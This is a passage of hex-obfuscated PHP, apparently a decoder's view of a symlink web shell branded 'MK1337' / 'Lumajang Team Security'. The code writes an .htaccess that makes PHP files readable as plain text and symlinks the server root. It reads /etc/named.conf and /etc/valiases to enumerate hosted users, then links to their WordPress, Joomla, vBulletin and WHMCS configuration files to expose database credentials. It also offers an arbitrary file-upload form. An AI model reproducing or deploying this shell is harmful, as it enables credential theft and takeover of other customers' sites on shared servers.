60\60\73\52\57\xa\40\x20\40\x20\x63\157\154\157\x72\x3a\40\x23\60\60\71\x39\x30\60\73\12\40\x20\40\40\x62\x6f\170\x2d\x73\x68\x61\x64\157\x77\72\x20\60\160\x78\x20\x30\x70\x78\x20\x34\160\x78\40\x23\60\x30\x37\67\60\60\73\xa\x7d\12\12\x2e\143\x6f\156\x74\x20\141\72\x68\157\x76\x65\162\x7b\12\xa\57\52\40\143\x6f\x6c\x6f\x72\x3a\40\43\145\64\145\64\x65\64\73\x20\x2a\x2f\12\x20\x20\40\x20\x74\145\170\x74\x2d\x73\x68\141\x64\x6f\x77\72\40\x23\60\60\142\x62\x30\x30\x20\x30\160\x78\x20\x30\160\170\40\x34\160\170\x3b\12\x20\x20\40\40\142\x6f\170\55\x73\x68\x61\144\x6f\167\72\x20\x30\160\x78\x20\x30\x70\170\40\x34\x70\170\40\x23\60\60\142\142\x30\60\x3b\12\x20\40\40\40\142\157\162\x64\145\162\72\40\61\160\170\x20\163\157\x6c\151\144\40\x23\60\x30\x62\142\60\x30\73\xa\40\40\x20\40\x2d\167\145\x62\x6b\x69\x74\55\x62\157\162\144\x65\162\55\162\x61\x64\x69\165\x73\72\40\x34\160\170\x3b\xa\40\x20\40\40\x2d\x6d\x6f\x7a\x2d\x62\x6f\x72\x64\x65\x72\55\162\x61\x64\x69\165\x73\x3a\40\64\160\170\73\xa\40\x20\x20\x20\142\157\162\144\145\162\55\x72\x61\144\x69\x75\x73\x3a\x20\64\x70\x78\73\xa\x20\x20\40\x20\x2d\167\x65\x62\x6b\151\164\55\x62\x6f\170\x2d\x73\x68\x61\144\x6f\167\x3a\40\162\147\x62\141\50\60\x2c\x20\62\62\x31\x2c\x20\x30\x29\40\x30\160\170\40\x30\x70\x78\40\64\x70\170\73\12\x20\40\40\40\x2d\155\x6f\172\55\142\x6f\170\55\x73\150\141\x64\x6f\x77\72\40\x72\x67\142\141\x28\x30\x2c\x20\62\62\61\x2c\x20\60\x29\x20\60\x70\170\x20\x30\x70\x78\40\x34\160\170\x3b\xa\xa\xa\x7d\12\12\56\164\x6d\x70\40\164\162\x20\x74\144\173\12\xa\142\x6f\162\x64\145\162\x3a\40\163\157\x6c\x69\x64\x20\x31\160\170\x20\x23\x42\102\x42\102\102\102\73\xa\xa\160\x61\144\144\151\x6e\147\72\40\62\160\x78\x20\x3b\xa\x20\40\x66\157\156\x74\x2d\x73\151\172\145\x3a\x20\61\63\160\x78\x3b\12\175\xa\xa\x2e\x74\155\160\x20\x74\162\x20\164\144\40\x61\x20\173\12\40\40\164\x65\170\x74\55\x64\145\143\157\x72\141\x74\x69\x6f\x6e\x3a\40\156\157\x6e\x65\73\12\12\12\12\x7d\xa\xa\56\x66\157\x74\145\x72\x7b\xa\x20\40\x66\157\156\x74\x2d\x73\151\172\145\x3a\x20\71\160\x74\73\12\x20\x20\x63\x6f\154\157\x72\x3a\40\43\101\101\x41\x41\x41\101\x20\x3b\12\40\40\x74\x65\170\x74\55\141\154\x69\147\156\72\x20\143\x65\x6e\164\x65\x72\xa\x7d\12\xa\x2e\x74\x6d\160\40\x74\162\40\164\144\x3a\x68\x6f\166\145\x72\x7b\12\12\57\x2a\40\143\157\x6c\x6f\x72\x3a\40\43\145\x34\x65\x34\x65\x34\x3b\x20\52\x2f\12\x20\x20\x20\x20\x74\x65\170\164\x2d\x73\x68\141\144\x6f\167\72\x20\x23\60\x30\x62\x62\60\60\x20\60\x70\x78\40\60\160\170\40\x34\x70\x78\x3b\xa\x20\40\40\x20\142\157\170\x2d\x73\150\x61\144\x6f\167\72\40\60\160\170\40\x30\160\170\40\x34\x70\x78\x20\43\x30\60\142\x62\60\x30\x3b\12\x20\40\x20\40\142\x6f\162\144\x65\x72\72\40\61\x70\170\x20\x73\157\154\151\144\x20\43\60\60\x62\x62\x30\x30\x3b\12\40\40\x20\x20\x2d\x77\145\142\153\x69\x74\x2d\x62\157\162\x64\145\x72\x2d\162\x61\x64\151\165\x73\x3a\40\64\160\x78\x3b\xa\40\x20\40\40\55\x6d\x6f\x7a\x2d\142\x6f\x72\x64\x65\162\x2d\x72\x61\x64\151\x75\163\72\x20\64\160\x78\x3b\12\x20\x20\40\x20\142\x6f\162\x64\145\162\x2d\162\x61\x64\x69\x75\163\x3a\x20\x34\160\x78\x3b\xa\x20\x20\40\40\x2d\x77\145\x62\153\151\x74\55\142\x6f\170\55\163\x68\x61\144\x6f\x77\x3a\x20\162\147\142\141\50\x30\x2c\40\x32\62\x31\x2c\40\60\x29\x20\x30\160\170\x20\60\x70\x78\x20\64\x70\170\73\xa\40\x20\x20\40\x2d\155\157\x7a\55\142\x6f\x78\x2d\x73\x68\141\144\157\x77\72\40\162\x67\142\x61\50\60\x2c\x20\62\62\x31\54\40\60\51\40\60\160\x78\40\x30\160\170\x20\x34\160\170\x3b\xa\xa\175\xa\x20\x2e\146\157\164\xa\40\x20\173\12\x20\40\x20\x74\145\x78\164\55\x73\150\x61\x64\x6f\x77\x3a\x20\x23\x30\60\142\142\x30\x30\x20\x30\x70\x78\x20\60\160\x78\40\x34\160\x78\x3b\12\40\x20\x20\x20\143\x6f\154\x6f\x72\72\40\43\x46\x46\x46\73\12\x20\x20\40\40\x66\157\156\x74\x2d\146\141\155\151\x6c\171\x3a\40\x43\141\x6c\151\142\x72\x69\x3b\xa\40\40\40\x20\x66\x6f\156\x74\55\163\151\172\x65\72\40\x31\63\x70\170\x3b\12\x20\x20\40\x20\143\x6f\154\157\x72\72\40\43\x30\60\x39\71\x30\60\x3b\12\x7d\xa\xa\x2e\x69\x72\x20\x7b\12\x20\x20\143\157\x6c\x6f\162\x3a\x20\x23\106\106\x30\60\x30\x30\x3b\xa\175\12\xa\12\56\x6d\153\61\x33\x33\67\x7b\xa\155\x61\x78\55\x77\151\x64\x74\150\72\x20\55\167\145\142\153\x69\164\x2d\x66\x69\x6c\x6c\x2d\x61\166\x61\x69\154\x61\x62\x6c\x65\73\xa\x20\x20\40\x20\167\151\x64\x74\150\72\40\61\x30\x30\x30\x70\170\x3b\xa\40\x20\40\40\x62\157\162\144\145\162\72\40\x31\160\x78\40\163\x6f\x6c\151\144\40\43\60\60\67\x37\60\60\x3b\xa\40\40\40\40\142\157\x78\55\x73\150\x61\144\x6f\167\x3a\x20\60\x70\170\x20\x30\x70\170\x20\x34\160\170\40\43\60\x30\x37\x37\x30\x30\x3b\12\x20\x20\x20\x20\175\12\x3c\57\163\164\171\154\145\76\12\xa\x3c\x2f\150\145\141\144\76\12\xa\x3c\142\x6f\144\171\76\74\143\145\x6e\164\145\162\76\xa\74\144\151\x76\x20\143\x6c\141\x73\163\75\42\155\x6b\61\x33\63\x37\x22\x3e\12\x3c\144\151\166\40\x63\x6c\141\x73\163\75\47\141\154\154\47\76\xa\12\12"; goto AgEXO; iE3Qj: set_time_limit(0); goto tgmS9; B2wXQ: @ini_set("\x64\x69\163\x70\154\x61\x79\137\x65\162\x72\x6f\162\x73", 0); goto iE3Qj; NIafz: ${"\107\114\117\102\x41\x4c\123"}["\x72\x64\x72\x76\x5f\147\x65\x75\x61\141\x7a\x69\160\150\x61\x6f\x75\154\172\x62\x70\x71\x70\x62\x76\165\171\137\163\154\137\163\156\x6c\143\164\x62\165\x74"] = "\160\x65\163\x61\156\x5f\141\x6c\145\x72\164"; goto vUFCA; xypHg: $IIIIIIIIII1I = @fopen("\x6d\153\61\63\63\67\57\x2e\150\x74\x61\143\x63\x65\x73\x73", "\167"); goto RDVIA; ds4kG: if (isset($_REQUEST["\163\167\163"])) { switch ($_REQUEST["\x73\x77\163"]) { case "\x73\x65\143": $IIIIIIIIIllI = @file("\x2f\145\164\x63\x2f\156\141\155\145\x64\56\x63\157\x6e\x66"); if (!$IIIIIIIIIllI) { die("\40\x63\x61\156\47\x74\x20\162\145\141\x64\x20\x2f\145\x74\143\57\x6e\141\155\145\144\x2e\143\x6f\x6e\146"); } else { echo "\x3c\144\x69\x76\40\x63\154\x61\x73\163\75\47\x74\155\x70\x27\x3e\xa\x3c\164\141\142\154\x65\40\141\x6c\151\x67\156\75\47\x63\x65\156\x74\x65\x72\47\x20\167\151\144\164\150\x3d\47\64\x30\x25\47\76\x3c\x74\x64\x3e\x20\x44\x6f\155\x61\151\x6e\x73\40\74\x2f\164\144\76\x3c\164\144\x3e\40\x53\143\x72\151\x70\164\40\x3c\57\x74\x64\76"; foreach ($IIIIIIIIIllI as $IIIIIIIIIll1) { if (eregi("\172\157\x6e\145", $IIIIIIIIIll1)) { preg_match_all("\x23\x7a\157\156\x65\x20\x22\x28\x2e\x2a\51\x22\43", $IIIIIIIIIll1, $IIIIIIIIIl11); flush(); if (strlen(trim($IIIIIIIIIl11[1][0])) > 2) { $IIIIIIIII1I1 = posix_getpwuid(@fileowner("\x2f\145\x74\143\x2f\x76\141\x6c\x69\141\163\145\163\x2f" . $IIIIIIIIIl11[1][0])); $IIIIIIIII1l1 = $IIIIIIIIIIIl . "\x2f\155\153\x31\x33\63\67\x2f\x72\157\157\x74\x2f\x68\157\155\x65\x2f" . $IIIIIIIII1I1["\156\x61\155\145"] . "\57\160\x75\142\154\x69\143\x5f\150\164\155\x6c\57\x77\x70\x2d\x63\157\x6e\x66\x69\147\x2e\160\x68\160"; $IIIIIIIII11I = get_headers($IIIIIIIII1l1); $IIIIIIIII11l = $IIIIIIIII11I[0]; $IIIIIIIII111 = $IIIIIIIIIIIl . "\57\x6d\x6b\x31\63\63\67\x2f\162\x6f\x6f\x74\x2f\150\157\155\145\x2f" . $IIIIIIIII1I1["\x6e\x61\155\x65"] . "\x2f\x70\x75\142\x6c\151\x63\137\x68\164\x6d\x6c\57\x62\x6c\157\x67\x2f\x77\160\55\x63\157\156\x66\151\147\x2e\x70\x68\160"; $IIIIIIIIlIII = get_headers($IIIIIIIII111); $IIIIIIIIlIIl = $IIIIIIIIlIII[0]; $IIIIIIIIlII1 = $IIIIIIIIIIIl . "\57\x6d\x6b\61\63\x33\x37\57\162\x6f\x6f\164\57\x68\x6f\x6d\x65\57" . $IIIIIIIII1I1["\x6e\141\155\x65"] . "\57\160\165\142\x6c\151\143\x5f\150\x74\x6d\154\57\143\157\x6e\146\x69\147\165\x72\141\164\x69\157\x6e\56\160\x68\x70"; $IIIIIIIIlIlI = get_headers($IIIIIIIIlII1); $IIIIIIIIlIll = $IIIIIIIIlIlI[0]; $IIIIIIIIlIl1 = $IIIIIIIIIIIl . "\57\x6d\x6b\x31\x33\x33\x37\57\162\157\157\164\x2f\150\157\x6d\x65\x2f" . $IIIIIIIII1I1["\156\x61\x6d\145"] . "\57\x70\165\142\154\x69\x63\x5f\150\164\x6d\x6c\x2f\x6a\x6f\x6f\155\154\x61\57\x63\x6f\156\146\x69\147\165\162\141\x74\x69\157\x6e\56\160\150\160"; $IIIIIIIIlI1I = get_headers($IIIIIIIIlIl1); $IIIIIIIIlI1l = $IIIIIIIIlI1I[0]; $IIIIIIIIlI11 = $IIIIIIIIIIIl . "\x2f\155\x6b\61\63\63\67\x2f\162\x6f\x6f\164\57\x68\157\x6d\x65\57" . $IIIIIIIII1I1["\156\x61\155\x65"] . "\57\x70\165\x62\154\x69\x63\x5f\x68\x74\155\154\57\151\156\x63\x6c\x75\x64\x65\x73\x2f\143\x6f\156\x66\x69\147\x2e\x70\150\x70"; $IIIIIIIIllII = get_headers($IIIIIIIIlI11); $IIIIIIIIllIl = $IIIIIIIIllII[0]; $IIIIIIIIllI1 = $IIIIIIIIIIIl . "\57\155\153\x31\63\x33\67\57\162\x6f\x6f\x74\x2f\x68\x6f\x6d\x65\57" . $IIIIIIIII1I1["\x6e\x61\155\x65"] . "\57\160\165\x62\x6c\151\143\x5f\150\164\155\154\x2f\166\142\57\151\x6e\x63\154\x75\144\145\x73\57\x63\157\156\x66\x69\147\x2e\x70\150\160"; $IIIIIIIIlllI = get_headers($IIIIIIIIllI1); $IIIIIIIIllll = $IIIIIIIIlllI[0]; $IIIIIIIIlll1 = $IIIIIIIIIIIl . "\x2f\155\153\61\63\63\x37\57\x72\x6f\x6f\x74\57\150\157\x6d\145\57" . $IIIIIIIII1I1["\x6e\x61\x6d\145"] . "\57\160\x75\142\x6c\151\143\137\x68\x74\155\154\57\x66\157\x72\165\155\57\151\156\143\x6c\x75\144\x65\163\57\143\157\x6e\146\x69\147\x2e\160\150\x70"; $IIIIIIIIll1I = get_headers($IIIIIIIIlll1); $IIIIIIIIll1l = $IIIIIIIIll1I[0]; $IIIIIIIIll11 = $IIIIIIIIIIIl . "\57\x6d\x6b\x31\63\x33\67\x2f\x72\x6f\x6f\164\x2f\x68\157\x6d\145\57" . $IIIIIIIII1I1["\x6e\141\x6d\145"] . "\160\x75\x62\x6c\151\x63\x5f\150\x74\155\x6c\57\143\154\151\145\x6e\x74\163\x2f\x63\157\156\x66\151\x67\165\162\141\164\151\x6f\x6e\x2e\x70\150\160"; $IIIIIIIIl1II = get_headers($IIIIIIIIll11); $IIIIIIIIl1Il = $IIIIIIIIl1II[0]; $IIIIIIIIl1I1 = $IIIIIIIIIIIl . "\x2f\155\153\x31\x33\63\x37\x2f\162\x6f\157\164\x2f\150\157\x6d\145\x2f" . $IIIIIIIII1I1["\x6e\x61\155\x65"] . "\57\x70\x75\142\x6c\151\x63\x5f\x68\x74\x6d\154\57\x73\x75\160\x70\x6f\162\164\x2f\143\x6f\156\x66\x69\x67\165\x72\141\x74\x69\x6f\x6e\56\160\x68\160"; $IIIIIIIIl1II = get_headers($IIIIIIIIl1I1); $IIIIIIIIl1lI = $IIIIIIIIl1II[0]; $IIIIIIIIl1ll = $IIIIIIIIIIIl . "\57\155\x6b\x31\x33\x33\x37\57\x72\x6f\x6f\164\57\150\157\155\x65\57" . $IIIIIIIII1I1["\x6e\x61\155\145"] . "\57\x70\165\142\x6c\x69\x63\x5f\150\164\155\154\57\x63\154\x69\145\156\164\x2f\143\x6f\x6e\146\151\x67\x75\162\x61\x74\151\157\156\x2e\160\x68\160"; $IIIIIIIIl1l1 = get_headers($IIIIIIIIl1ll); $IIIIIIIIl11I = $IIIIIIIIl1l1[0]; $IIIIIIIIl11l = $IIIIIIIIIIIl . "\x2f\x6d\x6b\x31\63\63\x37\x2f\162\157\157\164\x2f\150\x6f\x6d\x65\57" . $IIIIIIIII1I1["\156\x61\x6d\145"] . "\57\x70\165\x62\154\151\x63\137\x68\164\x6d\x6c\x2f\163\x75\x62\155\x69\164\164\151\x63\x6b\x65\x74\56\160\150\160"; $IIIIIIIIl111 = get_headers($IIIIIIIIl11l); $IIIIIIII1III = $IIIIIIIIl111[0]; $IIIIIIII1IIl = $IIIIIIIIIIIl . "\57\x6d\153\61\63\x33\x37\57\162\x6f\157\164\x2f\x68\157\x6d\145\x2f" . $IIIIIIIII1I1["\156\x61\x6d\x65"] . "\x2f\x70\x75\142\154\151\143\x5f\150\164\x6d\x6c\x2f\x63\154\151\145\x6e\164\57\x63\x6f\156\x66\x69\147\165\162\141\x74\x69\x6f\156\x2e\x70\x68\160"; $IIIIIIII1II1 = get_headers($IIIIIIII1IIl); $IIIIIIII1IlI = $IIIIIIII1II1[0]; $IIIIIIII1Ill = strpos($IIIIIIIII11l, "\x32\60\x30"); $IIIIIIII1I1I = "\x26\x6e\142\x73\160\73"; if (strpos($IIIIIIIII11l, "\62\x30\x30") == true) { $IIIIIIII1I1I = "\74\x61\40\150\x72\x65\x66\75\x27" . $IIIIIIIII1l1 . "\x27\40\x74\x61\162\147\x65\164\75\47\x5f\142\x6c\141\156\x6b\47\76\x57\x6f\162\144\160\162\x65\x73\163\74\x2f\x61\x3e"; } elseif (strpos($IIIIIIIIlIIl, "\62\60\60") == true) { $IIIIIIII1I1I = "\x3c\x61\40\x68\x72\145\146\75\47" . $IIIIIIIII111 . "\x27\x20\164\141\x72\147\145\x74\75\x27\x5f\x62\x6c\x61\x6e\x6b\47\x3e\x57\157\x72\144\x70\162\x65\163\x73\74\57\x61\x3e"; } elseif (strpos($IIIIIIIIlIll, "\x32\60\60") == true and strpos($IIIIIIII1III, "\62\60\60") == true) { $IIIIIIII1I1I = "\x20\74\141\40\150\x72\145\x66\x3d\x27" . $IIIIIIIIl11l . "\47\40\164\x61\162\147\145\x74\75\47\137\142\x6c\x61\156\153\x27\x3e\127\110\x4d\103\x53\74\57\141\x3e"; } elseif (strpos($IIIIIIIIl1lI, "\62\x30\60") == true) { $IIIIIIII1I1I = "\40\x3c\x61\40\150\x72\x65\146\x3d\47" . $IIIIIIIIl1I1 . "\47\40\x74\141\162\147\145\164\75\x27\137\x62\x6c\x61\x6e\153\x27\76\127\110\x4d\x43\123\74\57\x61\x3e"; } elseif (strpos($IIIIIIIIl11I, "\x32\60\60") == true) { $IIIIIIII1I1I = "\x20\x3c\x61\40\150\162\x65\x66\75\x27" . $IIIIIIIIl1ll . "\47\x20\164\141\x72\x67\x65\x74\x3d\47\137\142\154\141\x6e\x6b\47\76\x57\x48\115\x43\x53\74\57\141\x3e"; } elseif (strpos($IIIIIIIIlIll, "\x32\x30\60") == true) { $IIIIIIII1I1I = "\x20\x3c\141\x20\150\x72\x65\x66\75\47" . $IIIIIIIIlII1 . "\x27\x20\164\x61\162\x67\x65\164\75\47\x5f\142\154\141\x6e\153\x27\x3e\x4a\x6f\x6f\155\x6c\x61\x3c\57\x61\76"; } elseif (strpos($IIIIIIIIlI1l, "\x32\60\60") == true) { $IIIIIIII1I1I = "\40\74\x61\x20\150\162\145\x66\75\47" . $IIIIIIIIlIl1 . "\x27\40\164\141\162\147\x65\164\75\47\137\x62\154\141\156\x6b\47\76\x4a\x6f\157\x6d\x6c\x61\74\x2f\141\x3e"; } elseif (strpos($IIIIIIIIllIl, "\x32\60\60") == true) { $IIIIIIII1I1I = "\40\74\141\x20\x68\162\145\146\x3d\x27" . $IIIIIIIIlI11 . "\47\x20\x74\x61\x72\x67\145\x74\x3d\x27\137\x62\x6c\141\156\153\x27\x3e\166\x42\165\x6c\154\x65\x74\x69\x6e\74\57\x61\x3e"; } elseif (strpos($IIIIIIIIllll, "\x32\x30\60") == true) { $IIIIIIII1I1I = "\40\74\141\40\150\x72\x65\146\x3d\47" . $IIIIIIIIllI1 . "\x27\x20\x74\x61\x72\x67\x65\x74\75\x27\x5f\x62\154\x61\x6e\x6b\47\76\x76\102\x75\x6c\154\145\x74\151\156\74\x2f\141\x3e"; } elseif (strpos($IIIIIIIIll1l, "\x32\60\x30") == true) { $IIIIIIII1I1I = "\x20\74\141\x20\x68\162\x65\x66\x3d\x27" . $IIIIIIIIlll1 . "\47\x20\164\141\x72\147\145\x74\x3d\47\x5f\x62\154\141\x6e\153\x27\76\166\x42\165\154\154\145\164\x69\x6e\74\x2f\141\x3e"; } else { continue; } $IIIIIIII1I1l = $IIIIIIIII1I1["\x6e\141\x6d\145"]; echo "\74\164\x72\76\x3c\164\144\x3e\x3c\141\40\x68\162\145\x66\x3d\x68\x74\x74\x70\72\57\x2f\167\x77\167\x2e" . $IIIIIIIIIl11[1][0] . "\57\76" . $IIIIIIIIIl11[1][0] . "\74\57\141\76\74\57\x74\x64\76\xa\74\x74\x64\x3e" . $IIIIIIII1I1I . "\x3c\x2f\x74\144\76\74\x2f\x74\162\76"; flush(); } } } } break; case "\x6d\x6b\61\63\63\67": $IIIIIIIIIllI = @file("\57\x65\x74\143\57\x6e\x61\x6d\x65\144\56\x63\x6f\x6e\x66"); if (!$IIIIIIIIIllI) { die("\x20\143\x61\x6e\x27\164\40\x72\x65\x61\x64\x20\x2f\145\x74\143\57\x6e\141\155\145\x64\56\143\157\x6e\x66"); } else { echo "\74\144\151\166\40\143\x6c\141\163\x73\75\47\164\x6d\160\47\x3e\74\164\x61\142\x6c\145\x20\141\154\x69\x67\x6e\x3d\x27\x63\145\156\x74\x65\x72\x27\x20\167\151\x64\164\x68\75\x27\x34\60\45\x27\76\74\x74\x64\76\x44\x6f\x6d\141\151\x6e\x73\74\x2f\x74\144\x3e\x3c\x74\x64\x3e\125\x73\145\162\x73\x3c\57\x74\144\76\x3c\164\144\76\x73\x79\155\154\x69\x6e\153\40\x3c\57\164\x64\76"; foreach ($IIIIIIIIIllI as $IIIIIIIIIll1) { if (eregi("\x7a\x6f\156\x65", $IIIIIIIIIll1)) { preg_match_all("\43\x7a\x6f\156\x65\40\x22\50\x2e\x2a\x29\42\x23", $IIIIIIIIIll1, $IIIIIIIIIl11); flush(); if (strlen(trim($IIIIIIIIIl11[1][0])) > 2) { $IIIIIIIII1I1 = posix_getpwuid(@fileowner("\x2f\x65\x74\143\x2f\x76\141\x6c\151\x61\x73\145\x73\x2f" . $IIIIIIIIIl11[1][0])); $IIIIIIII1I1l = $IIIIIIIII1I1["\156\141\155\x65"]; @symlink("\57", "\155\x6b\x31\x33\63\x37\x2f\162\157\157\x74"); $IIIIIIII1I1l = $IIIIIIIIIl11[1][0]; $IIIIIIII1I11 = "\x5c\56\x69\x72"; $IIIIIIII1lII = "\134\56\x69\154"; if (eregi("{$IIIIIIII1I11}", $IIIIIIIIIl11[1][0]) or eregi("{$IIIIIIII1lII}", $IIIIIIIIIl11[1][0])) { $IIIIIIII1I1l = "\74\x64\151\166\40\163\164\171\x6c\x65\x3d\x27\40\x63\157\x6c\x6f\162\72\40\43\106\x46\60\x30\x30\60\40\73\x20\164\145\x78\x74\x2d\x73\150\x61\x64\157\x77\x3a\x20\x30\160\x78\40\60\160\170\40\x31\x70\170\x20\162\145\x64\x3b\40\x27\x3e" . $IIIIIIIIIl11[1][0] . "\x3c\57\144\151\166\76"; } echo "\xa\x3c\x74\162\76\12\12\x3c\164\144\76\12\74\x64\x69\166\x20\x63\x6c\141\163\x73\x3d\x27\x64\157\x6d\x27\x3e\x3c\141\x20\164\x61\162\147\x65\x74\75\47\137\x62\154\x61\x6e\153\47\40\150\162\145\146\75\150\x74\x74\x70\x3a\57\x2f\x77\167\x77\x2e" . $IIIIIIIIIl11[1][0] . "\57\76" . $IIIIIIII1I1l . "\40\74\57\141\76\x20\x3c\x2f\144\151\166\x3e\12\74\57\x74\144\x3e\xa\xa\xa\x3c\x74\144\76\12" . $IIIIIIIII1I1["\x6e\x61\x6d\145"] . "\12\x3c\x2f\164\x64\76\12\12\12\xa\12\xa\xa\x3c\164\144\x3e\12\x3c\x61\x20\x68\x72\145\x66\75\x27\x6d\x6b\61\63\x33\x37\57\162\x6f\157\164\57\150\157\155\x65\57" . $IIIIIIIII1I1["\156\x61\x6d\x65"] . "\57\x70\165\142\x6c\151\x63\x5f\150\164\155\x6c\x27\40\164\x61\162\x67\145\x74\x3d\x27\137\142\154\141\156\153\47\x3e\123\x79\x6d\154\151\x6e\x6b\x20\x3c\57\x61\76\xa\x3c\x2f\x74\x64\x3e\12\xa\12\x3c\x2f\x74\162\76\74\57\144\x69\x76\x3e\x20"; flush(); } } } } break; case "\146\x69\x6c\x65": echo "\12\x54\x68\x65\x20\146\x69\154\145\x20\160\x61\x74\x68\40\164\x6f\40\x73\x79\x6d\x6c\x69\156\x6b\xa\12\x3c\142\162\40\x2f\76\74\142\162\40\57\x3e\xa\x3c\x66\x6f\162\155\40\155\x65\164\x68\157\144\x3d\42\160\x6f\163\x74\42\x3e\xa\x3c\x69\x6e\x70\165\164\40\x74\171\160\x65\75\x22\x74\x65\x78\164\x22\40\x6e\x61\155\145\75\42\146\x69\154\x65\x22\x20\166\141\x6c\x75\145\75\x22\57\150\x6f\155\x65\x2f\165\x73\145\x72\x2f\x70\x75\142\x6c\151\143\x5f\150\x74\x6d\154\x2f\x66\x69\x6c\145\56\156\141\x6d\145\x22\40\x73\151\x7a\x65\75\x22\66\x30\x22\x2f\x3e\x3c\142\x72\40\57\76\74\142\x72\40\57\x3e\12\x3c\x69\x6e\160\165\x74\40\x74\x79\x70\x65\75\x22\x74\145\x78\164\42\40\x6e\x61\155\145\75\42\163\171\x6d\x66\x69\154\x65\42\40\166\x61\x6c\165\x65\x3d\42\x66\151\x6c\145\x2e\x6e\141\155\145\137\x73\171\x6d\40\x28\40\105\170\56\x20\72\72\x20\x31\x2e\x74\x78\x74\40\x29\x22\40\x73\151\172\145\75\42\66\60\42\57\76\74\x62\x72\40\x2f\x3e\74\142\162\x20\x2f\76\xa\x3c\x69\x6e\160\165\164\40\164\171\160\x65\75\42\163\x75\142\155\x69\164\42\x20\166\141\154\165\x65\75\42\x73\x79\155\154\151\x6e\153\42\x20\156\141\155\145\75\x22\163\171\155\154\151\156\153\42\40\x2f\76\40\74\x62\x72\40\57\76\x3c\x62\162\40\x2f\76\12\12\xa\12\74\x2f\x66\x6f\x72\155\76\xa"; $IIIIIIII1lIl = $_POST["\146\x69\154\145"]; $symfile = $_POST["\x73\171\x6d\146\x69\x6c\145"]; $symlink = $_POST["\x73\171\x6d\x6c\x69\156\153"]; if ($symlink) { @symlink("{$IIIIIIII1lIl}", "\155\x6b\x31\63\x33\x37\x2f{$symfile}"); echo "\74\142\162\x20\57\x3e\74\x61\40\x74\x61\x72\x67\x65\164\x3d\42\x5f\x62\x6c\x61\156\153\x22\40\150\x72\145\x66\75\42\x6d\153\x31\63\63\67\57" . $symfile . "\x22\x20\x3e" . $symfile . "\x3c\x2f\141\x3e"; } break; default: header("\x4c\157\x63\141\164\151\157\156\x3a\40{$IIIIIIIIIlIl}"); } } else { echo "\74\x66\157\x72\x6d\x20\141\x63\x74\x69\157\156\x3d\42\x22\x20\x6d\x65\164\x68\x6f\x64\75\x22\x70\x6f\x73\164\42\40\x65\156\x63\164\171\x70\x65\75\42\x6d\165\x6c\x74\151\x70\141\162\x74\57\x66\157\162\x6d\x2d\144\x61\x74\141\42\40\x6e\x61\x6d\145\x3d\x22\165\x70\x6c\x6f\x61\x64\145\x72\x22\40\x69\144\75\x22\x75\x70\x6c\x6f\141\144\145\162\42\x3e"; echo "\74\x69\x6e\160\x75\x74\x20\x74\171\160\145\75\x22\146\151\154\x65\x22\40\x6e\141\155\x65\75\x22\x66\x69\x6c\145\x22\40\166\x61\154\165\145\75\42\103\150\x6f\x6f\163\145\x20\146\151\x6c\145\x22\x20\163\x69\x7a\x65\75\x22\66\x30\42\40\76\x3c\x69\156\x70\x75\164\x20\156\x61\x6d\145\75\42\137\x75\160\x6c\42\40\x74\x79\x70\x65\75\x22\163\165\142\x6d\x69\164\x22\x20\x69\x64\x3d\42\137\x75\160\x6c\x22\x20\166\x61\154\x75\x65\x3d\x22\125\160\154\x6f\141\x64\42\x3e\x3c\x2f\146\x6f\162\155\x3e"; if ($_POST["\137\165\x70\x6c"] == "\x55\160\x6c\157\x61\x64") { if (@copy($_FILES["\x66\x69\x6c\145"]["\x74\155\160\x5f\x6e\141\155\145"], $_FILES["\146\151\154\145"]["\x6e\141\x6d\x65"])) { echo "\74\142\162\x20\x2f\76\x3c\x62\162\40\x2f\76\x3c\x62\x3e\x55\x70\154\x6f\x61\144\x65\x64\x20\163\165\143\x63\145\163\163\146\x75\154\40\41\x21\x3c\142\x72\76\x3c\x62\x72\76"; } else { echo "\x3c\142\x72\x20\57\x3e\74\x62\162\x20\57\x3e\116\x6f\x74\40\165\160\x6c\157\x61\x64\145\x64\x20\41\x21\74\142\162\x3e\74\142\162\76"; } } echo "\12\74\142\162\x20\57\76\x3c\142\x72\x20\57\x3e\x3c\144\x69\x76\40\x63\154\141\x73\163\75\42\146\157\x74\x22\76\x4d\113\x31\63\63\x37\xa\x3c\142\x72\x20\57\x3e\x3c\x62\x72\x20\x2f\x3e\xa\x4c\165\x6d\x61\x6a\141\x6e\147\40\124\145\141\x6d\x20\123\145\143\x75\x72\x69\x74\x79\x3c\57\x64\151\x76\76\x20"; } goto MZJi1; vUFCA: @ini_set("\x6f\x75\164\160\x75\164\x5f\142\x75\x66\x66\x65\162\x69\156\x67", 0); goto B2wXQ; MZJi1: echo "\12\12\x3c\x2f\x64\151\166\x3e\12\x3c\57\x64\x69\166\76\12\12\74\57\142\x6f\x64\171\x3e\12\x3c\141\x75\144\x69\x6f\40\141\165\x74\157\x70\154\141\x79\x3d\42\x74\x72\x75\145\42\40\163\x72\x63\x3d\42\150\164\164\x70\x73\72\57\57\x66\x2e\164\157\160\64\164\157\160\x2e\x69\157\x2f\155\137\x32\x30\x35\x32\66\143\x6e\x6f\172\x31\x2e\x6d\x70\x33\42\40\164\x79\x70\145\x3d\42\141\x75\x64\151\157\x2f\155\160\x65\147\42\76\x3c\x2f\141\x75\144\x69\157\76\12\x3c\57\x68\164\x6d\154\76\xa"; goto I18fF; sQHVb: $IIIIIIIIIIl1 = "\x4f\x70\164\x69\x6f\x6e\x73\40\141\x6c\154\40\12\40\104\x69\x72\x65\143\x74\157\x72\x79\111\156\x64\x65\x78\40\x53\x75\170\56\150\164\x6d\x6c\x20\xa\x20\x41\x64\144\x54\x79\x70\145\x20\x74\145\x78\x74\x2f\x70\154\x61\151\156\40\x2e\160\150\160\40\12\x20\x41\x64\x64\x48\x61\156\x64\154\x65\162\40\x73\x65\162\x76\145\162\55\x70\141\162\163\145\144\x20\x2e\160\x68\x70\x20\12\40\x20\x41\144\144\x54\171\160\145\x20\164\145\170\164\x2f\160\154\141\151\156\x20\56\150\164\x6d\x6c\40\xa\40\101\144\x64\x48\x61\x6e\x64\x6c\145\162\40\x74\x78\x74\x20\x2e\x68\164\x6d\154\x20\xa\40\122\x65\161\x75\x69\x72\x65\x20\x4e\x6f\x6e\x65\x20\12\x20\x53\x61\x74\x69\163\146\171\40\101\156\x79"; goto xypHg; pE0Ld: ${"\x47\114\117\x42\101\114\x53"}["\x77\x6a\x76\156\x64\x6d\145\x65\153\151\144\165\x6c\x5f\171\146\x78\141\164\167\161\x69\x69\157\x65\x5f\x67\154\152\x66\x5f"] = "\137\x53\105\122\x56\x45\x52"; goto NIafz; OV4d_: 

Function Calls

None

Variables

None

